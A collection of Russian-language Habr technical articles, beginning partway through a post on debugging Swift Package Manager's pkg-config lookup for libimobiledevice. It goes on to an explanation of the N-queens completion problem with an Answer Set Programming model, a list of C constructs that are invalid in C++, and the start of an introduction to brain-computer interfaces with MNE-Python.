+ */usr/local/lib/pkgconfig*
+ */usr/local/share/pkgconfig*
+ */usr/lib/pkgconfig*
+ */usr/share/pkgconfig*
* `PCFileFinder.pkgConfigPaths` – является результатом выполнения команды `pkg-config --variable pc_path pkg-config` и на моей системе имело следующее содержимое:
+ */usr/local/lib/pkgconfig:/usr/local/share/pkgconfig*
+ */usr/lib/pkgconfig*
+ */usr/local/Homebrew/Library/Homebrew/os/mac/pkgconfig/10.15*
* `customSearchPaths` – складывается из содержимого переменной окружения `PKG_CONFIG_PATH` и внешнего аргумента `additionalSearchPaths` который в случай использования `brew` будет содержать `/usr/local/opt/(NAME)/lib/pkgconfig` см [тут](https://github.com/apple/swift-package-manager/blob/658654765f5a7dfb3456c37dafd3ed8cd8b363b4/Sources/PackageLoading/Target%2BPkgConfig.swift#L65) и [тут](https://github.com/apple/swift-package-manager/blob/658654765f5a7dfb3456c37dafd3ed8cd8b363b4/Sources/PackageLoading/Target%2BPkgConfig.swift#L164)
+ `PKG_CONFIG_PATH`
+ */usr/local/opt/(NAME)/lib/pkgconfig*
Исходя из собранных путей становиться ясно, что `libimobiledevice-1.0.pc` должен был быть найден еще на по пути */usr/local/lib/pkgconfig*
```
foo % file /usr/local/lib/pkgconfig/libimobiledevice-1.0.pc
/usr/local/lib/pkgconfig/libimobiledevice-1.0.pc: ASCII text
```
Но что же тогда пошло не так? Для того чтобы разобраться в этом было решено создать небольшой проект, который создаст экземпляр [PkgConfig](https://github.com/apple/swift-package-manager/blob/658654765f5a7dfb3456c37dafd3ed8cd8b363b4/Sources/PackageLoading/PkgConfig.swift#L16) напрямую.
```
foo % cd ..
% mkdir spm_test
% cd spm_test
spm_test % swift package init --type executable
spm_test % cat > Package.swift
// swift-tools-version:5.5
// The swift-tools-version declares the minimum version of Swift required to build this package.
import PackageDescription
let package = Package(
name: "spm_test",
platforms: [
.macOS("10.15.4")
],
dependencies: [
// Dependencies declare other packages that this package depends on.
.package(name: "SwiftPM", url: "https://github.com/apple/swift-package-manager.git", .revision("658654765f5a7dfb3456c37dafd3ed8cd8b363b4"))
],
targets: [
// Targets are the basic building blocks of a package. A target can define a module or a test suite.
// Targets can depend on other targets in this package, and on products in packages this package depends on.
.executableTarget(
name: "spm_test",
dependencies: [
"SwiftPM"
])
]
)
^D
spm_test %cat > Sources/spm_test/main.swift
import Basics
import PackageLoading
import PackageModel
import TSCBasic
typealias Diagnostic = Basics.Diagnostic
// Подспер из тестов spm )))
struct Collector: ObservabilityHandlerProvider, DiagnosticsHandler {
private let _diagnostics = ThreadSafeArrayStore()
var diagnosticsHandler: DiagnosticsHandler { self }
var diagnostics: [Diagnostic] {
self.\_diagnostics.get()
}
func clear() {
self.\_diagnostics.clear()
}
func handleDiagnostic(scope: ObservabilityScope, diagnostic: Diagnostic) {
self.\_diagnostics.append(diagnostic)
}
}
let collector = Collector()
let observabilitySystem = ObservabilitySystem(collector)
let observability = observabilitySystem.topScope.makeChildScope(description: "test")
let result = try PkgConfig(name: "libimobiledevice-1.0", additionalSearchPaths: [], fileSystem: localFileSystem, observabilityScope: observability)
print(result)
^D
```
Собираем и запускаем:
```
spm_test % ./.build/x86_64-apple-macosx/debug/spm_test
...
[1086/1086] Build complete!
spm_test % ./.build/x86_64-apple-macosx/debug/spm_test
Swift/ErrorType.swift:200: Fatal error:
Error raised at top level: couldn't find pc file for openssl
zsh: illegal hardware instruction ./.build/x86_64-apple-macosx/debug/spm_test
```
Иииии вот она ошибка! Проблема в том что мы не можем найти `.pc` для `openssl`. `Openssl` действительно находился в списке зависимостей для `libimobiledevice`. Получается что `PkgConfig` [рекурсивно](https://github.com/apple/swift-package-manager/blob/658654765f5a7dfb3456c37dafd3ed8cd8b363b4/Sources/PackageLoading/PkgConfig.swift#L90) ищет и разбирает `.pc` файлы для всех зависимостей и если с одной из них произойдет какая-то проблема то никаких внятных сообщений об ошибках в консоли не появиться, а только бесполезный варнинг о том что исходный пакет не установлен.
Попробуем установить openssl через `brew`:
```
spm_test % brew install openssl
Running `brew update --preinstall`...
…
openssl@3 is keg-only, which means it was not symlinked into /usr/local,
because macOS provides LibreSSL.
If you need to have openssl@3 first in your PATH, run:
echo 'export PATH="/usr/local/opt/openssl@3/bin:$PATH"' >> ~/.zshrc
For compilers to find openssl@3 you may need to set:
export LDFLAGS="-L/usr/local/opt/openssl@3/lib"
export CPPFLAGS="-I/usr/local/opt/openssl@3/include"
For pkg-config to find openssl@3 you may need to set:
export PKG_CONFIG_PATH="/usr/local/opt/openssl@3/lib/pkgconfig"
…
```
Как видно из логов `brew` установка нам не сильно поможет, так как `brew` не создает линков на необходимые нам `.pc` файлы. Тут есть два варианта:
* создать линки самому – но это потребует аналогичных манипуляций при использовании пакета на другой машине, что гемор
* использовать `PKG_CONFIG_PATH` – этот вариант очевидно более гуманный если мы сможем прописать это в коде
Изменим наш тестовый проект:
```
spm_test %cat > Sources/spm_test/main.swift
import Basics
import Basics
import PackageLoading
import PackageModel
import TSCBasic
import Foundation
typealias Diagnostic = Basics.Diagnostic
// Подспер из тестов spm )))
struct Collector: ObservabilityHandlerProvider, DiagnosticsHandler {
private let _diagnostics = ThreadSafeArrayStore()
var diagnosticsHandler: DiagnosticsHandler { self }
var diagnostics: [Diagnostic] {
self.\_diagnostics.get()
}
func clear() {
self.\_diagnostics.clear()
}
func handleDiagnostic(scope: ObservabilityScope, diagnostic: Diagnostic) {
self.\_diagnostics.append(diagnostic)
}
}
let collector = Collector()
let observabilitySystem = ObservabilitySystem(collector)
let observability = observabilitySystem.topScope.makeChildScope(description: "test")
let pkg\_config\_path\_env = "PKG\_CONFIG\_PATH"
var pkg\_config\_path = "/usr/local/opt/openssl@3/lib/pkgconfig"
if let current\_pkg\_config\_path = ProcessInfo.processInfo.environment[pkg\_config\_path\_env] {
pkg\_config\_path = current\_pkg\_config\_path + ":" + pkg\_config\_path
}
setenv(pkg\_config\_path\_env, pkg\_config\_path, 1)
let result = try PkgConfig(name: "libimobiledevice-1.0", additionalSearchPaths: [], fileSystem: localFileSystem, observabilityScope: observability)
print(result)
^D
```
Соберем и запустим:
```
spm_test % swift build
[3/3] Build complete!
spm_test % ./.build/x86_64-apple-macosx/debug/spm_test
PkgConfig(name: "libimobiledevice-1.0", pcFile: , cFlags: ["-I/usr/local/Cellar/libimobiledevice/1.3.0/include", "-I/usr/local/Cellar/libplist/2.2.0/include", "-I/usr/local/Cellar/libusbmuxd/2.0.2/include", "-I/usr/local/Cellar/libplist/2.2.0/include", "-I/usr/local/Cellar/openssl@3/3.0.1/include", "-I/usr/local/Cellar/openssl@3/3.0.1/include", "-I/usr/local/Cellar/openssl@3/3.0.1/include"], libs: ["-L/usr/local/Cellar/libimobiledevice/1.3.0/lib", "-limobiledevice-1.0", "-L/usr/local/Cellar/libplist/2.2.0/lib", "-lplist-2.0"])
```
БИНГО!!! Осталось реализовать аналогичную логику для пакета. Ииии это оказалось невозможно. Нет, правильнее сказать – я так и не понял как можно в пакете установить переменную окружения. Если кто-то знает как – буду рад такой информации.
Таким образом у нас остается только один путь:
```
spm_test % cat /usr/local/Cellar/openssl@3/3.0.1/lib/pkgconfig/openssl.pc
prefix=/usr/local/Cellar/openssl@3/3.0.1
exec_prefix=${prefix}
libdir=/usr/local/Cellar/openssl@3/3.0.1/lib
includedir=${prefix}/include
Name: OpenSSL
Description: Secure Sockets Layer and cryptography libraries and tools
Version: 3.0.1
Requires: libssl libcrypto
spm_test % ln /usr/local/Cellar/openssl@3/3.0.1/lib/pkgconfig/openssl.pc /usr/local/lib/pkgconfig/openssl.pc
spm_test % ln /usr/local/Cellar/openssl@3/3.0.1/lib/pkgconfig/libcrypto.pc /usr/local/lib/pkgconfig/libcrypto.pc
spm_test % ln /usr/local/Cellar/openssl@3/3.0.1/lib/pkgconfig/libssl.pc /usr/local/lib/pkgconfig/libssl.pc
spm_test % cd ../foo
foo % swift build
[0/0] Build complete!
```
Надеюсь данный материал поможет другим быстрее разобраться с проблемами линковки Си и Swift. | https://habr.com/ru/post/651885/ | null | ru | null |
# Разбираемся, что же там нового открыли в задаче о ферзях
Пару месяцев назад появилась [занятная статья](http://www.jair.org/papers/paper5512.html) с анализом классической задачи о расстановке ферзей на шахматной доске (см. детали и историю ниже). Задача невероятно известная и вся уже рассмотрена под микроскопом, поэтому было удивительно, что появилось что-то действительно новое.
[](https://habr.ru/topic/343738/)Сможете поставить ещё шесть? А найти все решения?
(картинка из статьи)
Далее, к сожалению, произошла какая-то совершенно невразумительная история из цепочки вот таких вот превращений:
* Отличная статья ---пресс служба университета---> [невразумительный пресс-релиз](https://www.st-andrews.ac.uk/news/archive/2017/title,1539813,en.php).
* Пресс релиз ---занятный перевод---> [непонятная статья на гиктаймс](https://geektimes.ru/post/292631/)
Стоит отметить, что пять наугад открытых ссылок на русском ещё меньше проясняли картину происходящего.
Я тут подумал — надо бы кому-то эту странную цепочку прервать и нормальным языком изложить суть событий.
О чём пойдёт речь:
* [История задачи](https://habr.ru/post/343738/#history)
+ [Латинский квадрат](https://habr.ru/post/343738/#latin_square)
+ [Задача о восьми ферзях](https://habr.ru/post/343738/#eight_queens)
* [Три типа задачи "о ферзях"](https://habr.ru/post/343738/#types)
+ [Расстановка N ферзей](https://habr.ru/post/343738/#classic)
+ [Подсчет числа решений](https://habr.ru/post/343738/#counting_problem)
+ [Дополнение до N ферзей](https://habr.ru/post/343738/#completion)
+ [Вариации задачи](https://habr.ru/post/343738/#other)
* [Модели и сложность](https://habr.ru/post/343738/#problems)
+ [Линейный поиск для N ферзей](https://habr.ru/post/343738/#linear)
+ [Как считать число решений на практике](https://habr.ru/post/343738/#counting)
+ [Дополнение до N](https://habr.ru/post/343738/#asp)
* [Выводы](https://habr.ru/post/343738/#conclusions)
История задачи
==============
#### Латинский квадрат
Задача известна еще с древности ([~ средних веков](http://vbn.aau.dk/files/13649565/R-2007-32.pdf)), необходимо расставить буквы таким образом, чтобы ни в одной строке и ни в одной колонке не было одинаковых, как например здесь:
Само название Латинский Квадрат получило из-за привычки использовать буквы латинского Леонардом Эйлером для данной задачи. Из латинского квадрата (и ряда похожих задач) естественным образом появлялись новые, такие как задача о ферзях, где добавляется дополнительное ограничение на диагонали.
#### Задача о восьми ферзях
Задачу придумал в 1848 году [шахматный композитор](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%B7%D0%B8%D1%82%D0%BE%D1%80) Макс Беззель: суть задачи в том, чтобы расставить 8 ферзей на шахматной доске так, чтобы они не атаковали друг друга. С тех пор многие математики, например Гаусс, работали над задачей, а алгоритмисты и программисты, такие как Дейкстра, придумали множество подходов к поиску и подсчету решений.
В задаче, о которой мы будем говорить, не 8 ферзей, а N и доска, соответственно, не обычная шахматная, а NxN.
Три типа задачи "о ферзях"
==========================
Есть три наиболее популярных постановки задачи о ферзях
#### Расстановка N ферзей
Задача формулируется очень прямолинейно.
**Дано**: пустая доска NxN, например 8х8
(в принципе понятно, что достаточно просто указать N, но так наглядней)
**Найти**: расстановку максимально возможного числа ферзей
Т.е. на вход число — размер доски, а на выход позиции ферзей (одного решения).
#### Подсчет числа решений
Задача ставится тоже достаточно просто:
**Дано:** размер пустой доски N
**Найти:** H число возможных расстановок N ферзей на доске
Например, размер доски N = 1, тогда число возможных расстановок H = 1.
N = 8 => H = 92.
#### Дополнение до N ферзей
Вот тут формулировка чуть-чуть коварней:
**Дано:** размер доски N и M позиций уже установленных ферзей
**Найти:** позиции оставшихся N — M ферзей
Визуально все как на КПДВ:
(картинка также из оригинальной статьи)
#### Вариации задачи
Вообще говоря, вариаций задачи больше: см. например: расстановку белых и черных ферзей
<http://www.csplib.org/Problems/prob110>
однако здесь мы рассматриваем только основной классический вариант.
В подобной вариации решения существенно отличаются (белые не бьют белых, а черные черных: в случае путаницы — см. [комментарии тут](https://habrahabr.ru/post/343738/?reply_to=10552574#comment_10551756)):
(здесь максимальное число ферзей, причем на месте крестика можно поставить белого, а на месте точке черного — но не обоих сразу; взято из [статьи](https://www.researchgate.net/publication/221353569_Models_and_Symmetry_Breaking_for_%27Peaceable_Armies_of_Queens%27))
Модели и сложность задач
========================
Пришло время собственно обсудить: а как это вообще все решать и насколько быстро это вообще можно сделать?
#### Линейный поиск для классической задачи
Самый интересный момент, что даже специалисты иногда путаются и думают, что для решения N-ферзей нужен комбинаторный поиск и думают, что сложность задачи выше P. Про то, что такое P и NP, когда-то уже писал на Хабре: [Зачем нам всем нужен SAT и все эти P-NP (часть первая)](https://habrahabr.ru/post/207112/) и [вторая вот тут](https://habrahabr.ru/post/208774/). Однако, задача решается **без перебора** вариантов! Т.е., для доски любого размера можно всегда расставить ферзей один за одним лесенкой:
Существует целый ряд алгоритмов расстановки, например см. вот [эту статью](https://www.researchgate.net/publication/234812180_Explicit_solutions_to_the_N_-queens_problem_for_all_N) или [даже вот тут в Вики](https://en.wikipedia.org/wiki/Eight_queens_puzzle#Explicit_solutions).
Отсюда вывод, для N = 1 и N > 3 решение всегда есть (см. алго), а для N = 2 или N = 3
всегда нет (тривиально следует из доски). Это значит, что задача разрешимости для N ферзей (где нужно сказать есть решение или нет) решается тривиально за константное время (ну ок, конструктивно за линейное — расставить/проверить).
Самое время перепроверить прочитанное, читаем типичный заголовок "задачу о N ферзях признали NP-полной задачей" — у вас замироточили глаза?
#### Как считать число решений на практике
Вот тут начинается самое интересное: у количества решений задачи о расстановке ферзей даже есть своё имя — "последовательность [A000170](https://oeis.org/A000170)". На этом хорошие новости заканчиваются. Сложность задачи: выше NP и P#, на практике это означает, что оптимальное решение — это скачать данные последовательности в словарь и возвращать нужное число. Так как для N=27 оно уже считалось на параллельном кластере сколько там недель.
**Решение**: выписываем табличку и по n, возвращаем а(n)
n a(n)
1: 1
2: 0
3: 0
4: 2
5: 10
6: 4
7: 40
8: 92
9: 352
10: 724
…
21: 314666222712
22: 2691008701644
23: 24233937684440
24: 227514171973736
25: 2207893435808352
26 22317699616364044
27: 234907967154122528
Однако, если у вас какая-то хитрая разновидность задачи и все-таки нужно посчитать решения (а их количество неизвестно и раньше их никто не посчитал), то лучший вариант прототипа обсуждается чуть ниже.
#### Дополнение до N и Answer Set Programming
Тут начинается самое интересное: в чём же состоит новый результат статьи? **Задача о дополнении до N ферзей — NP-полна**! (Интересно, что про NP-полноту дополнения латинского квадрата [было известно](http://www.sciencedirect.com/science/article/pii/0166218X84900751?via%3Dihub) ещё в 1984-ом году.)
Что это означает на практике? Самый простой способ решишь эту задачу (или вдруг, если нам нужно её вариацию) — использовать SAT. Однако, мне больше нравится следующая аналогия:
SAT — это ассемблер для комбинаторных NP-задач, а Answer Set Programming (ASP) — это С++ (у ASP тоже загадочная русская душа: он временами запутан и непредсказуем для непосвященных; кстати, [теория, лежащая в основе современного ASP](http://www.cs.utexas.edu/users/vl/papers/stable.ps), была придумана в 1988ом году Михаилом Гельфондом и Владимиром Лифшицем, работавших тогда в университетах Техаса и Стэнфорда соответственно).
Если говорить упрощенно: ASP — это декларативный язык программирования ограничений (constraints в англоязычной литературе) с синтаксисом Prolog. То есть мы записываем, каким ограничениям должно удовлетворять решение, а система сводит всё к варианту SAT и находит нам решение.
Детали решения здесь не столь важны, и Answer Set Programming достоин отдельного поста (который лежит у меня в черновике уже неприлично долго): поэтому разберем концептуальные моменты
```
% domain
row(1..n).
column(1..n).
% alldifferent
1 { queen(X,Y) : column(Y) } 1 :- row(X).
1 { queen(X,Y) : row(X) } 1 :- column(Y).
% remove conflicting answers
:- queen(X1,Y1), queen(X2,Y2), X1 < X2, Y1 == Y2.
:- queen(X1,Y1), queen(X2,Y2), X1 < X2, Y1 + X1 == Y2 + X2.
:- queen(X1,Y1), queen(X2,Y2), X1 < X2, Y1 - X1 == Y2 - X2.
```
Строка `1 { queen(X,Y) : column(Y) } 1 :- row(X).` — называется choice rule, и она определяет, что является допустимым пространством поиска.
Последние три строки называются integrity constraints: и они определяют каким ограничениям должно удовлетворять решение: не может быть ферзя в одном и том же ряду, не может быть ферзя в одной и той же колонке (опущено, в силу симметрии) и не может быть ферзя на одной и той же диагонали.
В качестве системы для экспериментов рекомендую [Clingo](https://github.com/potassco/clingo).
И для начала стоит посмотреть их [tutorial](https://potassco.org/doc/start/) и попочитать блог на [www.hakank.org](http://www.hakank.org/constraint_programming_blog/2010/12/a_first_look_at_answer_set_programming.html).
Безусловно, если впервые писать на ASP, то первая модель не выйдет невероятно эффективной и быстрой, но скорее всего будет быстрее перебора с возвратом, написанным на скорую руку. Однако, если понять основные принципы работы системы, ASP может стать "regexp для NP-полных задач".
Проведем простой численный эксперимент с нашей ASP моделью. Я добавил 5 коварных ферзей в модель и запустил поиск решения для N от 1 до 150 и вот, что вышло (запущено на обычном домашнем ноутбуке):
Итого, наша ASP модель примерно в течении минуты может найти решения задачи о дополнении при N <= 150 (в обычном случае). Это показывает, что система отлично подходит для прототипирования моделей сложных комбинаторных задач.
Выводы
======
* Новый результат связан не с классической задачей о 8 ферзях, а дополнении обобщенной задачи о ферзях (что интересно, но в целом закономерно);
* Сложность существенно возрастает, так как, коварно поставив ферзей на доске, можно сбить алгоритм, ставящий ферзей по какой-то фиксированной закономерности;
* Эффективно посчитать число решений нельзя (ну совсем; пока не случится какой-то ужас и P не сравняется с NP итд);
* Возможно этот результат повлияет на работу современных SAT систем, так как некоторые эксперты считают, что эта задача в чем-то проще классических NP-полных задач (но это только мнение)
* Если вам вдруг зачем-то нужно решать подобную задачу — лучше всего воспользуйтесь системами аля Answer Set Programming, специально для этого предназначенных | https://habr.com/ru/post/343738/ | null | ru | null |
# Элементы языка С, которые являются неподдерживаемыми в языке С++
Нижеприведенный список является моей небольшой коллекцией примеров кода на языке С, которые не являются корректными с точки зрения языка С++ или имеют какое-то специфичное именно для языка С поведение. (Именно в эту сторону: С код, являющийся некорректным с точки зрения С++.)
Этот материал я уже публиковал на другом ресурсе в менее причесанном виде, Я бы, наверное, поддался прокрастинации и никогда не собрался опубликовать эту коллекцию здесь, но из-за горизонта уже доносится стук копыт неумолимо приближающегося С23, который безжалостно принесет некоторые жемчужины моей коллекции в жертву богам С-С++ совместимости. Поэтому мне и пришлось встать с печи, пока они еще актуальны...
Разумеется, язык С имеет много существенных отличий от языка С++, т.е. не составит никакого труда привести примеры несовместимостей, основанные, скажем, на ключевых словах или других *очевидных* эксклюзивных свойствах С99. Таких примеров вы не найдете в списке ниже. Мой основной критерий для включения примеров в этот список заключался именно в том, что пример кода должен выглядеть на первый взгляд достаточно "невинно" для С++-наблюдателя, т.е. не содержать бросающихся в глаза С-эксклюзивов, но тем не менее являться специфичным именно для языка С.
(Пометка [C23] помечает те пункты, которые станут неактуальными с выходом C23.)
1. В языке C разрешается "терять" замыкающий `\0` при инициализации массива символов строковым литералом:
`char s[4] = "1234";`
В С++ такая инициализация является некорректной.
2. C поддерживает *предварительные* определения. В одной единице трансляции можно сделать множественные *внешние* определения одного и того же объекта без инициализатора:
```
int a;
int a;
int a, a, a;
```
Подобные множественные определения не допускаются в С++.
3. Язык С разрешает определять *внешние* объекты неполных типов при условии, что тип доопределяется и становится полным где-то дальше в этой же единице трансляции:
```
struct S s;
struct S { int i; };
```
На уровне обоснования эта возможность, скорее всего, является лишь следствием предыдущего пункта, т.е. возможности выполнять предварительные определения.
Вышеприведенная последовательность объявлений некорректна с точки зрения С++: язык С++ сразу запрещает определять объекты неполных типов.
4. В языке C вы можете сделать неопределяющее объявление сущности неполного типа `void`.
`extern void v;`
(Соответствующее ему *определение*, однако, в C сделать не получится, т.к. `void` - неполный тип.)
В C++ же не получится сделать даже неопределяющее объявление.
5. Язык С допускает определение переменных с квалификатором `const` без явной инициализации:
```
void foo(void)
{
const int a;
}
```
В C++ такое определение является некорректным.
6. Язык C разрешает делать объявления новых типов внутри оператора приведения типа, внутри оператора `sizeof`, в объявлениях функций (типы возвращаемого значения и типы параметров):
```
int a = sizeof(enum E { A, B, C }) + (enum X { D, E, F }) 0;
/* Дальнейший код использует объявления, сделанные выше */
enum E e = B;
int b = e + F;
```
Такие объявления не допускаются в C++.
7. В языке С "незнакомое" имя struct-типа, упомянутое в списке параметров функции, является объявлением нового типа, *локального для этой функции*. При этом в списке параметров функции этот тип может быть объявлен как неполный, а "дообъявлен" до полного типа уже в теле функции:
```
/* Пусть тип `struct S` в этой точке еще не объявлен */
void foo(struct S *p) /* Первое упоминание `struct S` */
{
struct S { int a; } s; /* Это все тот же `struct S` */
p = &s
p->a = 5;
}
```
В этом коде все корректно с точки зрения языка С: `p` имеет тот же тип, что и `&s` и содержит поле `a`.
С точки зрения языка C++ упоминание "незнакомого" имени класс-типа в списке параметров функции тоже является объявлением нового типа. Однако этот новый тип не является локальным: он считается принадлежащим охватывающему пространству имен. Поэтому с точки зрения языка C++ локальное определение типа `S` в теле функции не имеет никакого отношения к типу `S`, упомянутому в списке параметров. Присваивание `p = &s` невозможно из-за несоответствия типов. Вышеприведенный код некорректен с точки зрения C++.
8. Язык C разрешает передачу управления в область видимости автоматической переменной, которое "перепрыгивает" через ее объявление с инициализацией:
```
switch (1)
{
int a = 42;
case 1:;
}
```
Такая передача управления недопустима с точки зрения C++.
9. Начиная с C99 в языке C появились *неявные* блоки: некоторые инструкции сами по себе являются блоками и в дополнение к этому индуцируют вложенные подблоки. Например, и сам цикл `for`является блоком, и тело цикла является отдельным блоком, вложенным в блок цикла `for`. По этой причине следующий код является корректным в языке С:
```
for (int i = 0; i < 10; ++i)
{
int i = 42;
}
```
Переменная `i`, объявленная в теле цикла, не имеет никакого отношения к переменной `i`, объявленной в заголовке цикла.
В языке C++ в такой ситуации и заголовок цикла, и тело цикла образуют единую область видимости, что исключает возможность "вложенного" объявления `i`.
10. Язык C допускает использование бессмысленных спецификаторов класса хранения в объявлениях, которые не объявляют никаких объектов:
`static struct S { int i; };`
В языке C++ такого не допускается.
Дополнительно можно заметить, что в языке C `typedef` формально тоже является лишь одним из спецификаторов класса хранения, что позволяет создавать бессмысленные typedef-объявления, которые не объявляют псевдонимов:
`typedef struct S { int i; };`
C++ не допускает таких typedef-объявлений.
(Справедливости ради стоит заметить, что такие объявления в языке С не являются полностью бессмысленными: они все таки объявляют тип `struct S`.)
11. Язык С допускает явные повторения cv-квалификаторов в объявлениях:
`const const const int a = 42;`
Код некорректен с точки зрения C++. (С++ тоже закрывает глаза на аналогичную избыточную квалификацию, но только через посредство промежуточных имен типов: typedef-имен, типовых параметров шаблонов).
12. В языке C прямое копирование volatile объектов - не проблема (по крайней мере с точки зрения формальной корректности кода):
```
void foo(void)
{
struct S { int i; };
volatile struct S v = { 0 };
struct S s = v;
s = v;
}
```
В С++ же неявно генерируемые конструкторы копирования и операторы присваивания не принимают volatile объекты в качестве аргументов.
13. В языке C любое целочисленное константное выражение со значением `0` может использоваться в качестве null pointer constant:
```
void *p = 2 - 2;
void *q = -0;
```
Так же обстояли дела и в языке C++ до принятия стандарта C++11. Однако в современном C++ из целочисленных значений только буквальное нулевое значение (целочисленный литерал с нулевым значением) может выступать в роли null pointer constant, а вот более сложные выражения более не являются допустимыми. Вышеприведенные инициализации некорректны с точки зрения C++.
14. В языке С не поддерживается cv-квалификация для rvalues. В частности, cv-квалификация возвращаемого значения функции сразу же игнорируется языком. Вкупе с автоматическим преобразованием массивов к указателям, это позволяет обходить некоторые правила константной корректности:
```
struct S { int a[10]; };
const struct S foo()
{
struct S s;
return s;
}
int main()
{
int *p = foo().a;
}
```
Стоит заметить, однако, что попытка модификации rvalue в языке С приводит к неопределенному поведению.
С точки зрения языка C++ же возвращаемое значение `foo()` и, следовательно, массив `foo().a`, сохрaняют const-квалификацию, и неявное преобразование `foo().a` к типу `int *` невозможно.
15. [C23] Препроцессор языка C не знаком с такими литералами как `true` и `false`. В языке C `true` и `false` доступны лишь как макросы, определенные в стандартном заголовке . Если эти макросы не определены, то в соответствии с правилами работы препроцессора, как `#if true` так и `#if false` должно вести себя как `#if 0`.
В то же время препроцессор языка C++ обязан натурально распознавать литералы `true` и `false` и его директива `#if` должна вести себя с этим литералами "ожидаемым" образом.
Это может служить источником несовместимостей, когда в C-коде не произведено включение :
```
#if true
int a[-1];
#endif
```
Данный код является заведомо некорректным в C++, и в то же время может спокойно компилироваться в C.
16. Начиная с C++11 препроцессор языка C++ больше не рассматривает последовательность `<литерал><идентификатор>` как независимые лексемы. С точки зрения языка C++ `<идентификатор>` в такой ситуации является *суффиксом* литерала. Чтобы избежать такой интерпретации, в языке C++ эти лексемы следует разделять пробелом:
```
#define D "d"
int a = 42;
printf("%"D, a);
```
Такой формат для `printf` корректен c точки зрения C, но некорректен с точки зрения C++.
17. Рекурсивные вызовы функции `main` разрешены в C, но запрещены в C++. Программам на С++ вообще не дозволяется никак *использовать* основную функцию `main`.
18. В языке C строковые литералы имеют тип `char [N]`, а в языке C++ - `const char [N]`. Даже если считать, что "старый" C++ в виде исключения поддерживает преобразование строкового литерала к типу `char *`, это исключение работает только тогда, когда оно применяется непосредственно к строковому литералу
`char *p = &"abcd"[0];`
Такая инициализация некорректна с точки зрения C++.
19. В языке С битовое поле, объявленное с типом `int` без явного указания `signed` или `unsigned` может быть как знаковым, там и беззнаковым (определяется реализацией). В языке С++ такое битовое поле всегда является знаковым.
20. В языке С typedef-имена типов и тэги struct-типов располагаются в разных пространствах имен и не конфликтуют друг с другом. Например, такой набор объявлений корректен с точки зрения языка С:
```
struct A { int a; };
typedef struct B { int b; } A;
typedef struct C { int c; } C;
```
В языке С++ не существует отдельного понятия тэга для класс-типов: имена классов разделяют одно пространство имен с typedef-именами и могут конфликтовать с ними. Для частичной совместимости с кодом на С язык С++ разрешает объявлять typedef-псевдонимы, совпадающие с именами существующих класс-типов, но только при условии, что псевдоним ссылается на класс-тип с точно таким же именем. В вышеприведенном примере typedef-объявление в строке 2 некорректно с точки зрения C++, а объявление в строке 3 - корректно.
21. В языке С разрешается использовать имя поля, совпадающее с существующим именем типа
```
typedef int I;
struct S
{
I I;
};
```
В языке С++ такое "переопределение" идентификатора не допускается.
22. В языке С неявный конфликт между внутренним и внешним связыванием при объявлении одной и той же переменной приводит к неопределенному поведению, а в языке С++ такой конфликт делает программу ошибочной. Чтобы устроить такой конфликт, надо выстроить довольно хитрую конфигурацию
```
static int a; /* Внутреннее связывание */
void foo(void)
{
int a; /* Скрывает внешнее `a`, не имеет связывания */
{
extern int a;
/* Из-за того, что внешнее `a` скрыто, объявляет `a` с внешним
связыванием. Теперь `a` объявлено и с внешним, и с внутренним
связыванием - конфликт */
}
}
```
В С++ такое extern-объявление является ошибочным, Несмотря на то, что этой необычной ситуации посвящен отдельный пример в стандарте языка С++, популярные компиляторы С++ как правило не диагностируют это нарушение.
**Далее следуют примеры отличий, которые по моему мнению тривиальны, общеизвестны и неинтересны.**Я их привожу здесь для полноты и, опять же, потому, что они формально удовлетворяют вышеприведенному критерию: на первый взгляд код выглядит более-менее нормально и в глазах для С++-наблюдателя.
23. Язык C допускает неявное преобразование указателей из типа `void *`:
```
void *p = 0;
int *pp = p;
```
24. В языке C значения типа enum неявно преобразуемы к типу `int` и обратно:
```
enum E { A, B, C } e = A;
e = e + 1;
```
В С++ неявное преобразование работает только в одну сторону.
25. [C23] Язык C поддерживает объявления функций без прототипов:
```
void foo(); /* Объявление без прототипа */
void bar()
{
foo(1, 2, 3);
}
```
26. В языке C вложенные объявления struct-типов помещают имя внутреннего типа во внешнюю (охватывающую) область видимости:
```
struct A
{
struct B { int b; } a;
};
struct B b; /* Сслыается на тип `struct B`, объявленный в строке 3 */
```
Вот, собственно, и все, что накопилось на текущий момент. | https://habr.com/ru/post/680312/ | null | ru | null |
# Технический подход к пониманию интерфейсов мозг — компьютер
Изображение оценки источника с использованием образца данныхПересечение медицины и науки о данных всегда было актуальным; возможно, самый очевидный пример — реализация нейронных сетей в глубоком обучении. По мере развития науки о данных и машинного обучения будет развиваться и медицина, но верно и обратное.
Нанотехнологии, стволовые клетки, оптогенетика, метаболомика, редактирование генов и интерфейсы мозг — компьютер — вот лишь некоторые области, выигрывающие от взаимовыгодных отношений медицины и науки о данных, представители которых должны научиться расти и адаптироваться к эволюции в своей сфере — иначе они рискуют остаться позади. К старту курса по [Machine Learning и Deep Learning](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=080821) делимся статьёй о возможностях пакета MNE для визуализации данных о мозге. По словам автора — нейрохирурга и спикера TEDx — как только MNE будет сопряжён с TensorFlow, sklearn или другой библиотекой машинного обучения, в интерфейсы мозг — компьютер сможет погрузиться любой человек.
---
Мозг интригует почти каждого, кто его рассматривает; он одновременно двусмыслен в своей запутанности и конкретен — в действии. Кроме того, сложность мозга требует изобретательности и творческого подхода при его изучении.
В своей предыдущей статье "Введение в интерфейсы мозг — компьютер"¹ я подробно описал некоторые сложности мозга и связанные с ними нейротехнологии. В этих сложностях бывает трудно разобраться, но определённые инструменты позволяют практически любому человеку работать с данными нейровизуализации и воспроизводить научные эксперименты².
Модуль MNE-Python³ — это пакет с открытым исходным кодом для просмотра данных от нейрофизиологических инструментов, один из немногих доступных инструментов, позволяющий просматривать, манипулировать и анализировать данные образцов ЭЭГ, ЭКоГ, МЭГ и других методов получения данных в режиме онлайн.
Эта библиотека очень полезна для визуализации многих этапов, используемых в различных системах интерфейсов мозг — компьютер, и для лучшего понимания этой развивающейся технологии. Рассмотрим возможности MNE и работу с наборами данных для тестирования этих возможностей.
MNE
---
### 1. Импорт модулей
